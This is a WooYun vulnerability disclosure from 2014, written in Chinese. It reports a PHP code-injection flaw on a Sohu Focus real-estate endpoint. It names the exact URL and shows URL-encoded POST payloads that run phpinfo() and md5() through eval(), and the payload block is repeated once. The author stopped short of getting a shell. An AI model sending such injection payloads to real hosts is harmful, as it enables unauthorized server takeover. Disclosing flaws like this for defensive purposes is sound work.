[公开漏洞]搜狐焦点房产PHP远程代码命令执行一步GETSHELL
-
来源:WooYun 浏览:576次 时间:2014-06-23
搜狐焦点房产PHP远程代码命令执行一步GETSHELL
相关厂商:
焦点房产
漏洞作者:lxj616
提交时间:2014-05-08 22:06
公开时间:2014-06-22 22:07
漏洞类型:命令执行
危害等级:高
自评Rank:20
漏洞状态:
厂商已经确认
漏洞来源:http://www.wooyun.org
Tags标签:
远程代码执行
漏洞详情
披露状态:
2014-05-08:细节已通知厂商并且等待厂商处理中
2014-05-09:厂商已经确认,细节仅向厂商公开
2014-05-19:细节向核心白帽子及相关领域专家公开
2014-05-29:细节向普通白帽子公开
2014-06-08:细节向实习白帽子公开
2014-06-22:细节向公众公开
搜狐焦点房产某站POST参数目测直接eval()了,可一步直接GETSHELL达到完全控制(演示时只演示phpinfo以及其他函数,为防止对业务造成影响不尝试GETSHELL)
详细说明:漏洞位置:
http://bj.esf.focus.cn/ajax/get_house_map_mark.json.php
POST参数config出现命令执行
config=%24%7b%40phpinfo()%7d&latMax=39.90921&latMin=39.90921&lngMax=116.483231&lngMin=116.311569&type=sale
再试试别的
config=%24%7b%40print(md5(lxj616))%7d&latMax=39.90921&latMin=39.90921&lngMax=116.483231&lngMin=116.311569&type=sale
就不继续了吧,证明危害足矣,到这里明显GETSHELL毫无压力
config=%24%7b%40phpinfo()%7d&latMax=39.90921&latMin=39.90921&lngMax=116.483231&lngMin=116.311569&type=sale
再试试别的
config=%24%7b%40print(md5(lxj616))%7d&latMax=39.90921&latMin=39.90921&lngMax=116.483231&lngMin=116.311569&type=sale
就不继续了吧,证明危害足矣,到这里明显GETSHELL毫无压力
调整业务逻辑
版权声明:转载请注明来源 lxj616@乌云 漏洞回应 厂商回应:危害等级:高
漏洞Rank:20
确认时间:2014-05-09 08:43
厂商回复:感谢对搜狐安全关注
最新状态:暂无